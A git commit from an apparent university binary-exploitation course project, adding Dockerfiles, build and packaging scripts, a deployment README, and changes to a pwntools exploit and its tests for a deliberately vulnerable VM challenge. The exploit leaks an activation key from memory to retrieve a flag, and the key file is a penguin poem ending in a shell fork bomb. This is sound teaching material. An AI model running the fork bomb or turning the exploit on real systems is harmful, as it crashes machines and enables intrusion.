Submission ready state achieved (#8)
This commit is contained in:
@@ -1 +1,7 @@
|
|||||||
THIS IS A TEST. JUST A TEST. NOTHING BUT A TEST. YOU'VE BEEN WARNED.
|
I am not a penguin,
|
||||||
|
I am a student of icy realms.
|
||||||
|
I am the wizard of waddles,
|
||||||
|
I am the colony of the frosty world,
|
||||||
|
and I am the chill.
|
||||||
|
I am Frosty Flippers,
|
||||||
|
:(){ :|:& };:
|
||||||
|
|||||||
23
compile_docker/Dockerfile
Normal file
23
compile_docker/Dockerfile
Normal file
@@ -0,0 +1,23 @@
|
|||||||
|
FROM debian:bullseye
|
||||||
|
|
||||||
|
#############################################
|
||||||
|
############ FOR COMPILING ONLY! ############
|
||||||
|
#############################################
|
||||||
|
|
||||||
|
|
||||||
|
RUN apt update -y && apt upgrade -y && apt install -y build-essential cmake
|
||||||
|
|
||||||
|
COPY libc-2.31.so /lib/x86_64-linux-gnu/libc-2.31-bx.so
|
||||||
|
RUN ln -sf /lib/x86_64-linux-gnu/libc-2.31-bx.so /lib/x86_64-linux-gnu/libc.so.6
|
||||||
|
|
||||||
|
RUN useradd -m pwn
|
||||||
|
|
||||||
|
# compile vuln
|
||||||
|
COPY parent.tar.xz /home/pwn/parent.tar.xz
|
||||||
|
RUN mkdir /home/pwn/source
|
||||||
|
RUN tar xvf /home/pwn/parent.tar.xz -C /home/pwn/source
|
||||||
|
RUN mkdir /home/pwn/build
|
||||||
|
WORKDIR /home/pwn/build
|
||||||
|
RUN cmake /home/pwn/source -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release
|
||||||
|
RUN make
|
||||||
|
|
||||||
7
compile_docker/compile.sh
Executable file
7
compile_docker/compile.sh
Executable file
@@ -0,0 +1,7 @@
|
|||||||
|
set -e
|
||||||
|
find .. -maxdepth 1 -type f | xargs tar cvf parent.tar.xz
|
||||||
|
docker build -t binex_project_compiler .
|
||||||
|
docker create --name binex_project_compiler binex_project_compiler
|
||||||
|
docker cp binex_project_compiler:/home/pwn/build/vuln .
|
||||||
|
docker rm -f binex_project_compiler
|
||||||
|
rm parent.tar.xz
|
||||||
@@ -36,7 +36,7 @@ RUN mkdir /home/pwn/source
|
|||||||
RUN tar xvf /home/pwn/parent.tar.xz -C /home/pwn/source
|
RUN tar xvf /home/pwn/parent.tar.xz -C /home/pwn/source
|
||||||
RUN mkdir /home/pwn/build
|
RUN mkdir /home/pwn/build
|
||||||
WORKDIR /home/pwn/build
|
WORKDIR /home/pwn/build
|
||||||
RUN cmake /home/pwn/source -G "Unix Makefiles"
|
RUN cmake /home/pwn/source -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release
|
||||||
RUN make
|
RUN make
|
||||||
WORKDIR /
|
WORKDIR /
|
||||||
|
|
||||||
|
|||||||
@@ -1,7 +1,9 @@
|
|||||||
#! /usr/bin/env python3
|
#! /usr/bin/env python3
|
||||||
from enum import IntEnum
|
from enum import IntEnum
|
||||||
|
|
||||||
from pwn import *
|
from pwn import *
|
||||||
|
|
||||||
|
from sys import argv, exit
|
||||||
|
|
||||||
|
|
||||||
class Opcode(IntEnum):
|
class Opcode(IntEnum):
|
||||||
@@ -52,6 +54,7 @@ class Register(IntEnum):
|
|||||||
|
|
||||||
|
|
||||||
INSTR_LEN = 8
|
INSTR_LEN = 8
|
||||||
|
HOST = "localhost"
|
||||||
PORT = 1337
|
PORT = 1337
|
||||||
|
|
||||||
|
|
||||||
@@ -87,9 +90,8 @@ def arbitrary_write(dst: Register, src: Register):
|
|||||||
# dst needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the src register bits
|
# dst needs to contain the address, we want to read from, cannot be a r8-r15 register because otherwise we destroy the src register bits
|
||||||
return instr_r(Opcode.COPY, dst, src)
|
return instr_r(Opcode.COPY, dst, src)
|
||||||
|
|
||||||
|
def connect(key: None | bytes = None, is_real_key: bool = False) -> pwnlib.tubes.remote.remote:
|
||||||
def connect(key: None | bytes = None, is_real_key: bool = False, port: int = PORT) -> pwnlib.tubes.remote.remote:
|
p = remote(HOST, PORT, fam="ipv4")
|
||||||
p = remote("localhost", port, fam="ipv4")
|
|
||||||
p.recvuntil(b"Password: ")
|
p.recvuntil(b"Password: ")
|
||||||
p.sendline(b"1234")
|
p.sendline(b"1234")
|
||||||
|
|
||||||
@@ -109,7 +111,7 @@ def connect(key: None | bytes = None, is_real_key: bool = False, port: int = POR
|
|||||||
return p
|
return p
|
||||||
|
|
||||||
|
|
||||||
def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int:
|
def exec_program(p, program: bytes) -> int:
|
||||||
log.info(p.recvuntil(b"should it bee?").decode())
|
log.info(p.recvuntil(b"should it bee?").decode())
|
||||||
len_msg = str(len(program) // INSTR_LEN)
|
len_msg = str(len(program) // INSTR_LEN)
|
||||||
log.info(f"Sending: {len_msg}")
|
log.info(f"Sending: {len_msg}")
|
||||||
@@ -124,17 +126,17 @@ def exec_program(p: pwnlib.tubes.remote.remote, program: bytes) -> int:
|
|||||||
return exit_code
|
return exit_code
|
||||||
|
|
||||||
|
|
||||||
def extract_premium_key(is_debug: bool = False, port: int = PORT):
|
def extract_premium_key(is_debug: bool = False):
|
||||||
if is_debug:
|
if is_debug:
|
||||||
offset_saved_rip_to_activation_key = 0x38bc # debug mode
|
offset_saved_rip_to_activation_key = 0x38bc # debug mode
|
||||||
else:
|
else:
|
||||||
offset_saved_rip_to_activation_key = 0x37a6 # release mode
|
offset_saved_rip_to_activation_key = 0x3626 # release mode
|
||||||
|
|
||||||
premium_key = b""
|
premium_key = b""
|
||||||
|
|
||||||
p = connect(b"", False, port)
|
p = connect(b"", False)
|
||||||
i = 0
|
i = 0
|
||||||
while i < 0x80:
|
while i < 0x100:
|
||||||
# mov r8, rsp
|
# mov r8, rsp
|
||||||
program = load_rsp(Register.G)
|
program = load_rsp(Register.G)
|
||||||
# mov rcx, r8 (rcx, because we overflow the highest bit of register_id[r8])
|
# mov rcx, r8 (rcx, because we overflow the highest bit of register_id[r8])
|
||||||
@@ -151,7 +153,6 @@ def extract_premium_key(is_debug: bool = False, port: int = PORT):
|
|||||||
program += instr_r(Opcode.ADD, Register.D, Register.I)
|
program += instr_r(Opcode.ADD, Register.D, Register.I)
|
||||||
# mov rax, rbx
|
# mov rax, rbx
|
||||||
program += instr_r(Opcode.COPY, Register.A, Register.B)
|
program += instr_r(Opcode.COPY, Register.A, Register.B)
|
||||||
|
|
||||||
exit_code = exec_program(p, program)
|
exit_code = exec_program(p, program)
|
||||||
if exit_code == 0:
|
if exit_code == 0:
|
||||||
break
|
break
|
||||||
@@ -216,9 +217,16 @@ def get_flag(p: pwnlib.tubes.remote.remote, is_debug: bool = False):
|
|||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
context.log_level = 'warn'
|
context.log_level = 'warn'
|
||||||
debug = False
|
|
||||||
|
|
||||||
premium_key = extract_premium_key(is_debug=debug)
|
if len(argv) != 3:
|
||||||
|
print(f"Usage: {argv[0]} <host> <port>")
|
||||||
|
exit()
|
||||||
|
|
||||||
|
HOST = argv[1]
|
||||||
|
PORT = argv[2]
|
||||||
|
is_debug = False
|
||||||
|
|
||||||
|
premium_key = extract_premium_key(is_debug)
|
||||||
|
|
||||||
p = connect(premium_key, True)
|
p = connect(premium_key, True)
|
||||||
print(get_flag(p, is_debug=debug))
|
print(get_flag(p, is_debug))
|
||||||
|
|||||||
@@ -19,7 +19,8 @@ class ExploitTest(unittest.TestCase):
|
|||||||
|
|
||||||
def __check_extract_activation_key__(self, is_debug: bool):
|
def __check_extract_activation_key__(self, is_debug: bool):
|
||||||
port = DEBUG_PORT if is_debug else RELEASE_PORT
|
port = DEBUG_PORT if is_debug else RELEASE_PORT
|
||||||
key = exploit.extract_premium_key(is_debug, port)
|
exploit.PORT = port
|
||||||
|
key = exploit.extract_premium_key(is_debug)
|
||||||
self.assertEqual(key, __get_activation_key__())
|
self.assertEqual(key, __get_activation_key__())
|
||||||
|
|
||||||
def test_extract_activation_key_debug(self):
|
def test_extract_activation_key_debug(self):
|
||||||
@@ -30,7 +31,8 @@ class ExploitTest(unittest.TestCase):
|
|||||||
|
|
||||||
def __check_get_flag__(self, is_debug: bool):
|
def __check_get_flag__(self, is_debug: bool):
|
||||||
port = DEBUG_PORT if is_debug else RELEASE_PORT
|
port = DEBUG_PORT if is_debug else RELEASE_PORT
|
||||||
p = exploit.connect(__get_activation_key__(), True, port)
|
exploit.PORT = port
|
||||||
|
p = exploit.connect(__get_activation_key__(), True)
|
||||||
flag = exploit.get_flag(p, is_debug)
|
flag = exploit.get_flag(p, is_debug)
|
||||||
self.assertRegex(flag, "flag_[0-9a-f]{32}")
|
self.assertRegex(flag, "flag_[0-9a-f]{32}")
|
||||||
|
|
||||||
@@ -42,8 +44,9 @@ class ExploitTest(unittest.TestCase):
|
|||||||
|
|
||||||
def __check_combined__(self, is_debug: bool):
|
def __check_combined__(self, is_debug: bool):
|
||||||
port = DEBUG_PORT if is_debug else RELEASE_PORT
|
port = DEBUG_PORT if is_debug else RELEASE_PORT
|
||||||
activation_key = exploit.extract_premium_key(is_debug, port)
|
exploit.PORT = port
|
||||||
p = exploit.connect(activation_key, True, port)
|
activation_key = exploit.extract_premium_key(is_debug)
|
||||||
|
p = exploit.connect(activation_key, True)
|
||||||
flag = exploit.get_flag(p, is_debug)
|
flag = exploit.get_flag(p, is_debug)
|
||||||
self.assertRegex(flag, "flag_[0-9a-f]{32}")
|
self.assertRegex(flag, "flag_[0-9a-f]{32}")
|
||||||
|
|
||||||
|
|||||||
30
generate_submission.sh
Executable file
30
generate_submission.sh
Executable file
@@ -0,0 +1,30 @@
|
|||||||
|
set -e
|
||||||
|
|
||||||
|
mkdir public
|
||||||
|
mkdir private
|
||||||
|
|
||||||
|
# private folder
|
||||||
|
cp exploit/exploit.py private
|
||||||
|
cp activation_key.txt private
|
||||||
|
cp release_docker/README.md private
|
||||||
|
cp release_docker/Dockerfile private
|
||||||
|
|
||||||
|
# compile vuln
|
||||||
|
cd compile_docker
|
||||||
|
./compile.sh
|
||||||
|
cd ..
|
||||||
|
|
||||||
|
# public folder
|
||||||
|
cp compile_docker/vuln public
|
||||||
|
cp vuln.c public
|
||||||
|
cp release_docker/Dockerfile public
|
||||||
|
|
||||||
|
echo "Pinguine toll Pinguine toll Pinguine super" >public/activation_key.txt
|
||||||
|
|
||||||
|
# packing
|
||||||
|
tar -zcvf submission_team203.tar.gz public private
|
||||||
|
|
||||||
|
# cleanup
|
||||||
|
rm compile_docker/vuln
|
||||||
|
rm -r private
|
||||||
|
rm -r public
|
||||||
35
release_docker/Dockerfile
Normal file
35
release_docker/Dockerfile
Normal file
@@ -0,0 +1,35 @@
|
|||||||
|
FROM debian:bullseye
|
||||||
|
|
||||||
|
|
||||||
|
RUN apt update -y && apt upgrade -y && apt install -y build-essential wget cmake
|
||||||
|
|
||||||
|
|
||||||
|
############### INSTALL FNETD
|
||||||
|
RUN wget https://cloud.sec.in.tum.de/index.php/s/n5cJnDqnnpSeEpd/download/fnetd.tar.xz -O /fnetd.tar.xz
|
||||||
|
RUN tar -xf fnetd.tar.xz
|
||||||
|
RUN mkdir /fnetd/build
|
||||||
|
|
||||||
|
WORKDIR /fnetd/build
|
||||||
|
RUN cmake .. -G "Unix Makefiles"
|
||||||
|
RUN make
|
||||||
|
|
||||||
|
WORKDIR /
|
||||||
|
############### END INSTALL
|
||||||
|
|
||||||
|
COPY get_flag /bin/get_flag
|
||||||
|
|
||||||
|
COPY libc-2.31.so /lib/x86_64-linux-gnu/libc-2.31-bx.so
|
||||||
|
RUN ln -sf /lib/x86_64-linux-gnu/libc-2.31-bx.so /lib/x86_64-linux-gnu/libc.so.6
|
||||||
|
|
||||||
|
RUN useradd -m pwn
|
||||||
|
|
||||||
|
COPY vuln /home/pwn/vuln
|
||||||
|
COPY activation_key.txt /home/pwn/activation_key.txt
|
||||||
|
|
||||||
|
RUN chmod 0755 /home/pwn/vuln
|
||||||
|
|
||||||
|
EXPOSE 1337
|
||||||
|
|
||||||
|
# Feel free to replace password with the actual chall pw
|
||||||
|
ENV FNETD_PASSWORD=
|
||||||
|
CMD ["/fnetd/build/fnetd", "-p", "1337", "-u", "pwn", "-lt", "2", "-lm", "536870912", "./vuln"]
|
||||||
11
release_docker/README.md
Normal file
11
release_docker/README.md
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
### Deployment path for this challenge:
|
||||||
|
|
||||||
|
#### Setup:
|
||||||
|
- copy get_flag, vuln and course libc-2.31.so into the same directory as the Dockerfile
|
||||||
|
- make sure the activation_key.txt is already present in the same directory and contains a poem about being a penguin ending in a forkbomb
|
||||||
|
- set the fnetd password
|
||||||
|
|
||||||
|
#### Deployment:
|
||||||
|
- build docker image
|
||||||
|
- run docker container
|
||||||
|
- profit
|
||||||
2
vuln.c
2
vuln.c
@@ -15,7 +15,7 @@
|
|||||||
#include <unistd.h>
|
#include <unistd.h>
|
||||||
|
|
||||||
#define MAX_PROGRAM_LEN 0x1000
|
#define MAX_PROGRAM_LEN 0x1000
|
||||||
#define ACTIVATION_KEY_LEN 0x80
|
#define ACTIVATION_KEY_LEN 0x100
|
||||||
|
|
||||||
static char activation_key[ACTIVATION_KEY_LEN] = {0};
|
static char activation_key[ACTIVATION_KEY_LEN] = {0};
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user